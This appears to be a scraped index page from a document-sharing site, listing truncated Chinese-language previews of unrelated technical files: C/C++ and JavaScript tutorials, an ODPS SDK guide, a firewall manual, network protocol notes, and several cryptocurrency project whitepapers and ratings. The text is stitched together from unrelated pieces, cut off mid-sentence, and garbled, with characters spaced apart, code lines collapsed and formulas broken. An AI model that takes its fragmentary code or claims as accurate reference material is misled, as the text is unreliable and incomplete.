第 1 章 JavaScript 简 介 JavaScript 是 NetScape 公 司 为 Navigator 浏 览 器 开 发 的, 是 写 在 HTML 文 件 中 的 一 种 脚 本 语 言, 能 实 现 网 页 内 容 的 交 互 显 示 当 用 户 在 客 户 端 显 示 该 网 页 时, 浏 览 器 就 会 执 行 JavaScript 程 序, 用 户 通 过 交 互 式 的
More informationSDK 概要 使用 Maven 的用户可以从 Maven 库中搜索 "odps-sdk" 获取不同版本的 Java SDK: 包名 odps-sdk-core odps-sdk-commons odps-sdk-udf odps-sdk-mapred odps-sdk-graph 描述 ODPS 基
开放数据处理服务 ODPS SDK SDK 概要 使用 Maven 的用户可以从 Maven 库中搜索 "odps-sdk" 获取不同版本的 Java SDK: 包名 odps-sdk-core odps-sdk-commons odps-sdk-udf odps-sdk-mapred odps-sdk-graph 描述 ODPS 基础功能的主体接口, 搜索关键词 "odpssdk-core" 一些
More information目 录 概 述...4 1 背 景.4 1.1 社 会 背 景...4 1.2 行 业 背 景...5 2 需 求 分 析..6 3 优 势 分 析....7 3.1 资 源 优 势.....7 3.2 品 牌 优 势.....7 3.3 技 术 优 势.....8 3.4 用 户 体 验.....
目 录 概 述...4 1 背 景.4 1.1 社 会 背 景...4 1.2 行 业 背 景...5 2 需 求 分 析..6 3 优 势 分 析....7 3.1 资 源 优 势.....7 3.2 品 牌 优 势.....7 3.3 技 术 优 势.....8 3.4 用 户 体 验.....8 4 综 合 解 决 方 案....9 4.1 资 源 应 用 服 务 方 案. 9 4.1.1 下
More informationC/C++语言 - 运算符、表达式和语句
C/C++ Table of contents 1. 2. 3. 4. C C++ 5. 6. 7. 1 i // shoe1.c: # include # define ADJUST 7. 64 # define SCALE 0. 325 int main ( void ) { double shoe, foot ; shoe = 9. 0; foot = SCALE * shoe
More information六域链联盟 SDChain-Matrix 节点搭建指南 2018/07/26 Version : 1.0.0
SDChain-Matrix 节点搭建指南 目录 1 环境要求... 3 2 软件下载... 4 3 安装部署... 4 3.1 部署可执行程序目录... 4 3.2 部署配置文件目录... 4 3.3 部署数据库文件目录... 4 3.4 部署日志文件目录... 4 3.5 部署依赖库文件目录... 4 4 配置参数... 5 5 启动运行... 7 5.1 普通模式启动... 7 5.2 加载启动模式...
More informationMicrosoft Word - Learn Objective-C.doc
Learn Objective C http://cocoadevcentral.com/d/learn_objectivec/ Objective C Objective C Mac C Objective CC C Scott Stevenson [object method]; [object methodwithinput:input]; output = [object methodwithoutput];
More informationC 1
C homepage: xpzhangme 2018 5 30 C 1 C min(x, y) double C // min c # include # include double min ( double x, double y); int main ( int argc, char * argv []) { double x, y; if( argc!=
More informationC/C++语言 - C/C++数据
C/C++ C/C++ Table of contents 1. 2. 3. 4. char 5. 1 C = 5 (F 32). 9 F C 2 1 // fal2cel. c: Convert Fah temperature to Cel temperature 2 # include < stdio.h> 3 int main ( void ) 4 { 5 float fah, cel ;
More information2005 3
Text 2009.4 hongqn@douban.com 2005 3 2.8M 1/4 20M / 500~600/sec 23 PC (1U*15/2U*8) 12 38G memcached 1U (frodo) AMD Athlon 64 1.8GHz 1G 160G SATA*2 Gentoo Linux MySQL 5 Quixote (a Python web framework)
More informationMicrosoft Word - ch04三校.doc
4-1 4-1-1 (Object) (State) (Behavior) ( ) ( ) ( method) ( properties) ( functions) 4-2 4-1-2 (Message) ( ) ( ) ( ) A B A ( ) ( ) ( YourCar) ( changegear) ( lowergear) 4-1-3 (Class) (Blueprint) 4-3 changegear
More informationKL DSC DEMO 使用说明
:0755-82556825 83239613 : (0755)83239613 : http://www.kingbirdnet.com EMAIL Good989@163.com 1 1 KB3000 DTU... 3 1.1... 3 1.2... 3 1.3... 3 1.4... 3 2... 4 2.1 GSM/GPRS... 4 2.2... 4 2.3... 5 2.4... 6 2.5...
More informationC/C++ - 文件IO
C/C++ IO Table of contents 1. 2. 3. 4. 1 C ASCII ASCII ASCII 2 10000 00100111 00010000 31H, 30H, 30H, 30H, 30H 1, 0, 0, 0, 0 ASCII 3 4 5 UNIX ANSI C 5 FILE FILE 6 stdio.h typedef struct { int level ;
More informationCC213
: (Ken-Yi Lee), E-mail: feis.tw@gmail.com 49 [P.51] C/C++ [P.52] [P.53] [P.55] (int) [P.57] (float/double) [P.58] printf scanf [P.59] [P.61] ( / ) [P.62] (char) [P.65] : +-*/% [P.67] : = [P.68] : ,
More information(UTM???U_935_938_955_958_959 V2.1.9.1)
192.16 www.sharetech.com.tw UTM 多 功 能 防 火 牆 管 理 者 手 冊 V 2.1.9.1 目 錄 第 一 章 安 裝 與 訊 息... 7 1-1 建 議 的 安 裝 設 定 圖... 8 1-2 軟 體 安 裝 設 定... 9 1-3 首 頁 訊 息... 14 1-4 型 號 與 功 能 對 照 表... 17 第 二 章 系 統 設 定... 19 2-1
More informationBus Hound 5
Bus Hound 5.0 ( 1.0) 21IC 2007 7 BusHound perisoft PC hound Bus Hound 6.0 5.0 5.0 Bus Hound, IDE SCSI USB 1394 DVD Windows9X,WindowsMe,NT4.0,2000,2003,XP XP IRP Html ZIP SCSI sense USB Bus Hound 1 Bus
More informationMicrosoft PowerPoint - string_kruse [兼容模式]
Strings Strings in C not encapsulated Every C-string has type char *. Hence, a C-string references an address in memory, the first of a contiguous set of bytes that store the characters making up the string.
More informationChap6.ppt
Computer Networks v4 cs.sjtu 12/21/12 6 Internet ftp://ftp.cs.sjtu.edu.cn/ybzhang 61 / 110 Computer Networks v4 cs.sjtu 12/21/12 ftp://ftp.cs.sjtu.edu.cn/ybzhang 62 / 110 Computer Networks v4 cs.sjtu 12/21/12
More information國家圖書館典藏電子全文
EAI EAI Middleware EAI 3.1 EAI EAI Client/Server Internet,www,Jav a 3.1 EAI Message Brokers -Data Transformation Business Rule XML XML 37 3.1 XML XML XML EAI XML 1. XML XML Java Script VB Script Active
More information基于ECO的UML模型驱动的数据库应用开发1.doc
ECO UML () Object RDBMS Mapping.Net Framework Java C# RAD DataSetOleDbConnection DataGrod RAD Client/Server RAD RAD DataReader["Spell"].ToString() AObj.XXX bug sql UML OR Mapping RAD Lazy load round trip
More information<4D6963726F736F667420506F776572506F696E74202D20A1B6CFEEC4BFD2BB20B3F5CAB6BCC6CBE3BBFACDF8C2E7A1B7C8CECEF1C8FD20CAECCFA4544350A1A24950D0ADD2E9BACD4950B5D8D6B72E707074>
项 目 一 : 初 识 计 算 机 网 络 任 务 三 熟 悉 TCP/IP 协 议 和 IP 地 址 一. 学 习 要 求 : 学 习 要 求 及 难 点 1. 了 解 IP 协 议 TCP 协 议 和 UDP 协 议 2. 熟 悉 IP 地 址 的 划 分 和 分 类 3. 了 解 IPV6 的 地 址 结 构 二. 难 点 : 1. IP 地 址 三. 学 时 : 1. 理 论 教 学 :6
More informationebook20-2
2 1 / M A C R A M 3 2.1 1) 2) 3 ) C i s c o 2.1.1 M A C M A M A C F C S C a t a l y s t C A M content addressable memory C A M 2-1 A B C D A B B A 1 24 Cisco Catalyst A M A C 2-2 1 1 2 2 2-1 A 1 B WAC
More information获取 Access Token access_token 是接口的全局唯一票据, 接入方调用各接口时都需使用 access_token 开发者需要进行妥善保存 access_token 的存储至少要保留 512 个字符空间 access_token 的有效期目前为 2 个小时, 需定时刷新, 重复
获取 Access Token access_token 是接口的全局唯一票据, 接入方调用各接口时都需使用 access_token 开发者需要进行妥善保存 access_token 的存储至少要保留 512 个字符空间 access_token 的有效期目前为 2 个小时, 需定时刷新, 重复 获取将导致上次获取的 access_token 失效 接入方可以使用 AppID 和 AppSecret
More information一.NETGEAR VPN防火墙产品介绍
NETGEAR VPN NETGEAR 6 http://www.netgear.com.cn - 1 - NETGEAR VPN... 4 1.1 VPN...4 1.2 Dynamic Domain Name Service...4 1.3 Netgear VPN...4 Netgear VPN... 6 2.1 FVS318 to FVS318 IKE Main...7 2.1.1 A VPN
More informationWWW PHP Comments Literals Identifiers Keywords Variables Constants Data Types Operators & Expressions 2
WWW PHP 2003 1 Comments Literals Identifiers Keywords Variables Constants Data Types Operators & Expressions 2 Comments PHP Shell Style: # C++ Style: // C Style: /* */ $value = $p * exp($r * $t); # $value
More informationPIC_SERVER (11) SMTP ( ) ( ) PIC_SERVER (10) SMTP PIC_SERVER (event driven) PIC_SERVER SMTP 1. E-
(2005-02-01) (2005-04-28) PIC_SERVER (10) SMTP E-mail PIC_SERVER (event driven) E-mail PIC_SERVER SMTP E-mail 1. E-mail E-mail 1 (1) (2) (3) (4) 1 1. 2 E-mail A E-mail B E-mail SMTP(Simple Mail Transfer
More informationVIDEOJET connect 7000 VJC-7000-90 zh- CHS Operation Manual VIDEOJET connect 7000 zh-chs 3 目 录 1 浏 览 器 连 接 7 1.1 系 统 要 求 7 1.2 建 立 连 接 7 1.2.1 摄 像 机 中 的 密 码 保 护 7 1.3 受 保 护 的 网 络 7 2 系 统 概 述 8 2.1 实 况
More informationLOOPRING 1.5 daniel@loopring.org alex@loopring.org jay@loopring.org Loopring Project Ltd foundation@loopring.org 2017 12 29 ERC20 dapp 1 2 1 3 2 3 3 5 3.1................................... 6 3.2................................
More informationext-web-auth-wlc.pdf
使 用 无 线 局 域 网 控 制 器 的 外 部 Web 身 份 验 证 配 置 示 例 目 录 简 介 先 决 条 件 要 求 使 用 的 组 件 规 则 背 景 信 息 外 部 Web 身 份 验 证 过 程 网 络 设 置 配 置 为 来 宾 用 户 创 建 动 态 接 口 创 建 预 先 身 份 验 证 ACL 在 WLC 上 为 来 宾 用 户 创 建 本 地 数 据 库 配 置 外 部
More information新・解きながら学ぶJava
481! 41, 74!= 40, 270 " 4 % 23, 25 %% 121 %c 425 %d 121 %o 121 %x 121 & 199 && 48 ' 81, 425 ( ) 14, 17 ( ) 128 ( ) 183 * 23 */ 3, 390 ++ 79 ++ 80 += 93 + 22 + 23 + 279 + 14 + 124 + 7, 148, 16 -- 79 --
More information02
Thinking in C++: Volume One: Introduction to Standard C++, Second Edition & Volume Two: Practical Programming C++ C C++ C++ 3 3 C C class C++ C++ C++ C++ string vector 2.1 interpreter compiler 2.1.1 BASIC
More information( Version 0.4 ) 1
( Version 0.4 ) 1 3 3.... 3 3 5.... 9 10 12 Entities-Relationship Model. 13 14 15.. 17 2 ( ) version 0.3 Int TextVarchar byte byte byte 3 Id Int 20 Name Surname Varchar 20 Forename Varchar 20 Alternate
More information1. 2. Flex Adobe 3.
1. 2. Flex Adobe 3. Flex Adobe Flex Flex Web Flex Flex Flex Adobe Flash Player 9 /rich Internet applications/ria Flex 1. 2. 3. 4. 5. 6. SWF Flash Player Flex 1. Flex framework Adobe Flex 2 framework RIA
More information付宝容器 jsapi 档 册 PDF 版本 本版本为实验版本, 为线下独 查看使, 受制于 成 PDF 程序的限制, 样式问题还没有很好的解决, 例如分 切图 代码 亮 推荐使 在线版本, 便实时查看 jsapi 运 效果 如需搜索, 使 阅读 PDF 软件 带功能即可 更多细节样式调整和 录索引探
付宝容器 jsapi 档 册 PDF 版本 本版本为实验版本, 为线下独 查看使, 受制于 成 PDF 程序的限制, 样式问题还没有很好的解决, 例如分 切图 代码 亮 推荐使 在线版本, 便实时查看 jsapi 运 效果 如需搜索, 使 阅读 PDF 软件 带功能即可 更多细节样式调整和 录索引探索建设中 成时间 : 2017-07-20 12:13:21 Since 8.6 定义键盘 定义键盘使
More informationvsysintroch
由 PoS 之 父 Sunny King 创建的区块链数据库云 重构区块链 !2 PoS 是什什么? PoS, 也被称为 Proof-of-Stake, 是 Sunny King 在 2012 年年发明的共识,PoS 本身就可以 支持分布式共识 而 无需能耗 PoS 是 2019 年年全球数字货币的 大热点, 据 staked.us 网站公布数据,2019 年年全球 PoS 激励奖励总币值将达到 250
More informationTCP/IP TCP/IP OSI IP TCP IP IP TCP/IP TCP/IP
TCP/IP : TCP/IP TCP/IP OSI IP TCP IP IP TCP/IP TCP/IP 1. ASCII EBCDIC Extended Binary-Coded Decimal Interchange Code 2. / (1) (2) Single System Image SSI) (3) I/O (4) 3.OSI OSI Open System Interconnection
More information1 4 1.1 4 1.2..4 2..4 2.1..4 3.4 3.1 Java.5 3.1.1..5 3.1.2 5 3.1.3 6 4.6 4.1 6 4.2.6 5 7 5.1..8 5.1.1 8 5.1.2..8 5.1.3..8 5.1.4..9 5.2..9 6.10 6.1.10
Java V1.0.1 2007 4 10 1 4 1.1 4 1.2..4 2..4 2.1..4 3.4 3.1 Java.5 3.1.1..5 3.1.2 5 3.1.3 6 4.6 4.1 6 4.2.6 5 7 5.1..8 5.1.1 8 5.1.2..8 5.1.3..8 5.1.4..9 5.2..9 6.10 6.1.10 6.2.10 6.3..10 6.4 11 7.12 7.1
More information前言 C# C# C# C C# C# C# C# C# microservices C# More Effective C# More Effective C# C# C# C# Effective C# 50 C# C# 7 Effective vii
前言 C# C# C# C C# C# C# C# C# microservices C# More Effective C# More Effective C# C# C# C# Effective C# 50 C# C# 7 Effective vii C# 7 More Effective C# C# C# C# C# C# Common Language Runtime CLR just-in-time
More informationC C
C C 2017 3 8 1. 2. 3. 4. char 5. 2/101 C 1. 3/101 C C = 5 (F 32). 9 F C 4/101 C 1 // fal2cel.c: Convert Fah temperature to Cel temperature 2 #include 3 int main(void) 4 { 5 float fah, cel; 6 printf("please
More information提问袁小兵:
C++ 面 试 试 题 汇 总 柯 贤 富 管 理 软 件 需 求 分 析 篇 1. STL 类 模 板 标 准 库 中 容 器 和 算 法 这 部 分 一 般 称 为 标 准 模 板 库 2. 为 什 么 定 义 虚 的 析 构 函 数? 避 免 内 存 问 题, 当 你 可 能 通 过 基 类 指 针 删 除 派 生 类 对 象 时 必 须 保 证 基 类 析 构 函 数 为 虚 函 数 3.
More information新版 明解C++入門編
511!... 43, 85!=... 42 "... 118 " "... 337 " "... 8, 290 #... 71 #... 413 #define... 128, 236, 413 #endif... 412 #ifndef... 412 #if... 412 #include... 6, 337 #undef... 413 %... 23, 27 %=... 97 &... 243,
More informationW. Richard Stevens UNIX Sockets API echo Sockets TCP OOB IO C struct C/C++ UNIX fork() select(2)/poll(2)/epoll(4) IO IO CPU 100% libevent UNIX CPU IO
Linux muduo C++ (giantchen@gmail.com) 2012-09-30 C++ TCP C++ x86-64 Linux TCP one loop per thread Linux native muduo C++ IT 5 C++ muduo 2 C++ C++ Primer 4 W. Richard Stevens UNIX Sockets API echo Sockets
More informationebook140-8
8 Microsoft VPN Windows NT 4 V P N Windows 98 Client 7 Vintage Air V P N 7 Wi n d o w s NT V P N 7 VPN ( ) 7 Novell NetWare VPN 8.1 PPTP NT4 VPN Q 154091 M i c r o s o f t Windows NT RAS [ ] Windows NT4
More informationBYOD Http Redirect convergence Client (1) 2008R2 NLB( ) (2) NLB Unicast mode switch flooding (arp ) NLB DNS Redirect 1. Round-Robin DNS DNS IP/DNS Cli
BYOD 204 2015 GoogleHicloud (Load Balance) Server Load Balance Link Load Balance Server Redirect 1. URL Redirect redirector URL redirect Real Server Client HTTP Real Server Web Client 2 (1) URL Redirect
More informationC6_ppt.PDF
C01-202 1 2 - (Masquerade) (Replay) (Message Modification) (Denial of Service) - ( ) (Eavesdropping) (Traffic Analysis) 8 1 2 7 3 6 5 4 3 - TCP SYN (SYN flood) Smurf Ping of Death LAND Attack Teardrop
More information09 (File Processes) (mkdir) 9-3 (createnewfile) 9-4 (write) 9-5 (read) 9-6 (deletefile) 9-7 (deletedir) (Exercises)
09 (File Processes) 9-1 9-2 (mkdir) 9-3 (createnewfile) 9-4 (write) 9-5 (read) 9-6 (deletefile) 9-7 (deletedir) (Exercises) Java Servlet 9-1 Servlet (File Processes) Client Servlet Servlet Java Java (Stream)
More information/ / (FC 3)...
Modbus/TCP 1.0 1999 3 29 Andy Swales Schneider aswales@modicon.com ... 2 1.... 3 2.... 3 2.1.. 3 2.2..4 2.3..4 2.4... 5 3.... 5 3.1 0... 5 3.2 1... 5 3.3 2... 6 3.4 / /... 7 4.... 7 5.... 8 5.1 0... 9
More information<B1B1BEA9B9E2BBB7D0C2CDF8BFC6BCBCB9C9B7DDD3D0CFDEB9ABCBBEB4B43F3F12FB6CB293>
本 次 股 票 发 行 后 拟 在 创 业 板 市 场 上 市, 该 市 场 具 有 较 高 的 投 资 风 险 创 业 板 公 司 具 有 业 绩 不 稳 定 经 营 风 险 高 退 市 风 险 大 等 特 点, 投 资 者 面 临 较 大 的 市 场 风 险 投 资 者 应 充 分 了 解 创 业 板 市 场 的 投 资 风 险 及 本 公 司 所 披 露 的 风 险 因 素, 审 慎 作 出
More informationFun Time (1) What happens in memory? 1 i n t i ; 2 s h o r t j ; 3 double k ; 4 char c = a ; 5 i = 3; j = 2; 6 k = i j ; H.-T. Lin (NTU CSIE) Referenc
References (Section 5.2) Hsuan-Tien Lin Deptartment of CSIE, NTU OOP Class, March 15-16, 2010 H.-T. Lin (NTU CSIE) References OOP 03/15-16/2010 0 / 22 Fun Time (1) What happens in memory? 1 i n t i ; 2
More information1 1 大概思路 创建 WebAPI 创建 CrossMainController 并编写 Nuget 安装 microsoft.aspnet.webapi.cors 跨域设置路由 编写 Jquery EasyUI 界面 运行效果 2 创建 WebAPI 创建 WebAPI, 新建 -> 项目 ->
目录 1 大概思路... 1 2 创建 WebAPI... 1 3 创建 CrossMainController 并编写... 1 4 Nuget 安装 microsoft.aspnet.webapi.cors... 4 5 跨域设置路由... 4 6 编写 Jquery EasyUI 界面... 5 7 运行效果... 7 8 总结... 7 1 1 大概思路 创建 WebAPI 创建 CrossMainController
More informationint *p int a 0x00C7 0x00C7 0x00C int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++;
Memory & Pointer trio@seu.edu.cn 2.1 2.1.1 1 int *p int a 0x00C7 0x00C7 0x00C7 2.1.2 2 int I[2], *pi = &I[0]; pi++; char C[2], *pc = &C[0]; pc++; float F[2], *pf = &F[0]; pf++; 2.1.3 1. 2. 3. 3 int A,
More informationEJB-Programming-4-cn.doc
EJB (4) : (Entity Bean Value Object ) JBuilder EJB 2.x CMP EJB Relationships JBuilder EJB Test Client EJB EJB Seminar CMP Entity Beans Session Bean J2EE Session Façade Design Pattern Session Bean Session
More informationIP-Routing-05.pdf
RI P R I P - 2 RIP -1 R I P - 2 DV RIP -1 RIP-2 16... RIP-2 RIP-2 RIP -1 R I P - 2 RIP-2 RIP-2 RIP-2 V L S M disc ontiguous addr ess sp ace C I D R Cla ssless In ter -Dom ain Routing 121 1 2 2 IP RIP-2
More informationuntitled
1 Outline 類别 欄 (1) 類 類 狀 更 易 類 理 若 類 利 來 利 using 來 namespace 類 ; (2) namespace IBM class Notebook namespace Compaq class Notebook 類别 類 來 類 列 欄 (field) (property) (method) (event) 類 例 立 來 車 類 類 立 車 欄 料
More informationebook71-13
13 I S P Internet 13. 2. 1 k p p p P P P 13. 2. 2 1 3. 2. 3 k p p p 1 3. 2. 4 l i n u x c o n f P P P 13. 2. 5 p p p s e t u p 13. 2. 6 p p p s e t u p P P P 13. 2. 7 1 3. 2. 8 C a l d e r a G U I 13.
More information新美大酒店开放平台SDK(.NET版)使用说明.pages
SDK(.NET 版 ) 使 用说明 1 SDK 包说明 1.1 获取 SDK SDK 可以在数据平台下载, 也可直接通过下载地址获得 下载地址 : http://s3.meituan.net/v1/mss_de81c933e113413ea913a772b707b9c9/open-platform-sdk/mthotelopenplatform-sdk-1.0-net.zip 下载成功后, 解压后可获得
More informationOOP with Java 通知 Project 4: 4 月 18 日晚 9 点 关于抄袭 没有分数
OOP with Java Yuanbin Wu cs@ecnu OOP with Java 通知 Project 4: 4 月 18 日晚 9 点 关于抄袭 没有分数 复习 类的复用 组合 (composition): has-a 关系 class MyType { public int i; public double d; public char c; public void set(double
More informationch08.PDF
8-1 CCNA 8.1 CLI 8.1.1 8-2 8-3 8.1.21600 2500 1600 2500 / IOS 8-4 8.2 8.2.1 A 5 IP CLI 1600 2500 8-5 8.1.2-15 Windows 9598NT 2000 HyperTerminal Hilgraeve Microsoft Cisco HyperTerminal Private Edition (PE)
More informationMicrosoft Word - SupplyIT manual 3_cn_david.doc
MR PRICE Supply IT Lynette Rajiah 1 3 2 4 3 5 4 7 4.1 8 4.2 8 4.3 8 5 9 6 10 6.1 16 6.2 17 6.3 18 7 21 7.1 24 7.2 25 7.3 26 7.4 27 7.5 28 7.6 29 7.7 30 7.8 31 7.9 32 7.10 32 7.11 33 7.12 34 1 7.13 35 7.14
More informationEPSON
NPD5493-00 TC .... 5....5....5....6 SSL/TLS....7....7 IP....8.... 8 Web Config...9 Web Config...10 EpsonNet Config...11 EpsonNet Config Windows...11 EpsonNet Config Windows...11 EpsonNet Config - Windows...
More informationRUN_PC連載_8_.doc
PowerBuilder 8 (8) Web DataWindow ( ) DataWindow Web DataWindow Web DataWindow Web DataWindow PowerDynamo Web DataWindow / Web DataWindow Web DataWindow Wizard Web DataWindow Web DataWindow DataWindow
More information1. 软 件 核 武 器 CTreeNode 基 本 原 理 以 下 详 细 介 绍 这 一 技 术 的 基 本 原 理 -CTreeNode 这 是 一 种 数 据 结 构, 类 似 于 CObject 存 在 于 内 存 中 1. 能 够 以 树 形 的 方 式 嵌 套 存 贮 非 常 复 杂
目 录 1. 软 件 核 武 器 CTreeNode 基 本 原 理... 2 2. 软 件 核 武 器 CTreeNode 的 重 要 意 义... 3 3. CTreeNode 1 个 月 内 能 实 现 的 应 用 场 景... 4 4. 常 见 质 疑 :... 4 1) 质 疑 1- 相 对 Socket 有 何 优 势... 4 2) 质 疑 2- 相 对 XML_Thrift,CTreeNode
More informationBOOL EnumWindows(WNDENUMPROC lparam); lpenumfunc, LPARAM (Native Interface) PowerBuilder PowerBuilder PBNI 2
PowerBuilder 9 PowerBuilder Native Interface(PBNI) PowerBuilder 9 PowerBuilder C++ Java PowerBuilder 9 PBNI PowerBuilder Java C++ PowerBuilder NVO / PowerBuilder C/C++ PowerBuilder 9.0 PowerBuilder Native
More informationUDP 8.2 TCP/IP OSI OSI 3 OSI TCP/IP IP TCP/IP TCP/IP Transport Control Protocol TCP User Datagram Protocol UDP TCP TCP/IP IP TCP TCP/IP TC
8 TCP/IP TCP/IP TCP OSI 8.1 OSI 4 end to end A B FTP OSI Connection Management handshake Flow Control Error Detection IP Response to User s Request TCP/IP TCP 181 UDP 8.2 TCP/IP OSI OSI 3 OSI 3 8.1 TCP/IP
More informationR3105+ ADSL
... 1 1 1... 1 1 2... 1... 3 2 1... 3 2 2... 3 2 3... 5 2 4... 5 2 4 1... 5... 7 3 1... 7 3 2... 8 3 2 1... 8 3 2 2... 9 3 3... 12 3 3 1... 13 3 3 2 WAN... 16 3 3 3 LAN... 21 3 3 4 NAT... 22 3 3 5... 24
More informationRUN_PC連載_10_.doc
PowerBuilder 8 (10) Jaguar CTS ASP Jaguar CTS PowerDynamo Jaguar CTS Microsoft ASP (Active Server Pages) ASP Jaguar CTS ASP Jaguar CTS ASP Jaguar CTS ASP Jaguar CTS ASP Jaguar CTS ASP Jaguar Server ASP
More information康养链区块链运行模式-3
康养链区块链运 行行模式 PART 01 康养链介绍 康养链介绍 康养链 (kang yang chain) 是 一款基于区块链技术, 集 金金融, 服务 医疗 康复社区 的国家政策 支持发展的 生态服务 玩家可在康养链中 通过挖矿 认购 投资交易易, 创造服务 建设服务标准 获得利利益, 甚 至可以探索医疗 行行业, 将去中 心化的供应量量 金金融, 将传统的供应链交易易 方式转换成可信的业务往来,
More informationC++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 5 月 3 日 1
C++ 程序设计 告别 OJ1 - 参考答案 MASTER 2019 年 月 3 日 1 1 INPUTOUTPUT 1 InputOutput 题目描述 用 cin 输入你的姓名 ( 没有空格 ) 和年龄 ( 整数 ), 并用 cout 输出 输入输出符合以下范例 输入 master 999 输出 I am master, 999 years old. 注意 "," 后面有一个空格,"." 结束,
More informationFY.DOC
高 职 高 专 21 世 纪 规 划 教 材 C++ 程 序 设 计 邓 振 杰 主 编 贾 振 华 孟 庆 敏 副 主 编 人 民 邮 电 出 版 社 内 容 提 要 本 书 系 统 地 介 绍 C++ 语 言 的 基 本 概 念 基 本 语 法 和 编 程 方 法, 深 入 浅 出 地 讲 述 C++ 语 言 面 向 对 象 的 重 要 特 征 : 类 和 对 象 抽 象 封 装 继 承 等 主
More informationC语言的应用.PDF
AVR C 9 1 AVR C IAR C, *.HEX, C,,! C, > 9.1 AVR C MCU,, AVR?! IAR AVR / IAR 32 ALU 1KBytes - 8MBytes (SPM ) 16 MBytes C C *var1, *var2; *var1++ = *--var2; AVR C 9 2 LD R16,-X ST Z+,R16 Auto (local
More informationuntitled
1....2...2...6 2....10 3. UDP...15 4. TCP...16...16...16 1 1. PC COM1 COM2 COM1 COM2 DTU 2 3 4 COM1 COM1 COM2 COM ID 13900000000 DTU COM1 5 COM2 DTU DTU DTU DTU DTU DTU DTU ID ID 3031 3032 2 ID 13900000001
More informationQcon北京2018-《唯快不破——高效定位线上 Node.js 应用内存泄漏》-黄一君
唯快不不破 高效定位线上 Node.js 应 用内存泄漏漏 关于我 @hyj1991 (GitHub, CNode) @ 黄 一君,Easy-Monitor 作者 @ 阿 里里云计算有限公司, 高级开发 工程师,Node.js 性能平台 背景 作为中间层, 前后端分离 长连接, 纯服务端应 用 NW.js Electron 等构建跨平台客户端 Java Services RPC calls, protocols
More information1 Framework.NET Framework Microsoft Windows.NET Framework.NET Framework NOTE.NET NET Framework.NET Framework 2.0 ( 3 ).NET Framework 2.0.NET F
1 Framework.NET Framework Microsoft Windows.NET Framework.NET Framework NOTE.NET 2.0 2.0.NET Framework.NET Framework 2.0 ( 3).NET Framework 2.0.NET Framework ( System ) o o o o o o Boxing UnBoxing() o
More informationMobileCoin Whitepaper CN_FINAL.pages
MobileCoin 一种能为区块链应 用带来优质 用户体验的虚拟代币 2017 年年 11 月 13 日 研发初衷 目前, 结合了了加密货币和区块链技术的应 用程序往往都很难调配, 尤其是在移动环境下 这类应 用程序的系统, 正 面临着设备资源限制 交易易时间 密钥管理理三 方 面巨 大的调配挑战, 而这些都会带来糟糕的 用户体验 移动应 用 目前并不不具备同步整条千兆字节区块链的能 力力, 用户也
More informationTI-Duo Network评级报告
DUO Network BB AAA AA A BBB BB B CCC CC C D April 2019 TokenInsight 参对 参割 及 TokenInsight.com bd@tokeninsight.com DUO IEO 2019 4 27 IEO IEO BitMax 1DUO=0.15USDT 1 DUO Network 功 博 央 展 博 展 终 终 终 展 DUO Network
More information第 1 章 概 述 1.1 计 算 机 网 络 在 信 息 时 代 中 的 作 用 1.2 计 算 机 网 络 的 发 展 过 程 *1.2.1 分 组 交 换 的 产 生 *1.2.2 因 特 网 时 代 *1.2.3 关 于 因 特 网 的 标 准 化 工 作 1.2.4 计 算 机 网 络 在
计 算 机 网 络 ( 第 4 版 ) 课 件 第 1 章 计 算 机 网 络 概 述 郭 庆 北 Ise_guoqb@ujn.edu.cn 2009-02-25 第 1 章 概 述 1.1 计 算 机 网 络 在 信 息 时 代 中 的 作 用 1.2 计 算 机 网 络 的 发 展 过 程 *1.2.1 分 组 交 换 的 产 生 *1.2.2 因 特 网 时 代 *1.2.3 关 于 因 特
More informationIC-900W Wireless Pan & Tilt Wireless Pan & Tilt Remote Control / Night Vision FCC ID:RUJ-LR802UWG
IC-900W Wireless Pan & Tilt Wireless Pan & Tilt Remote Control / Night Vision FCC ID:RUJ-LR802UWG --------------------------------------------TABLE OF CONTENTS------------------------------------------
More information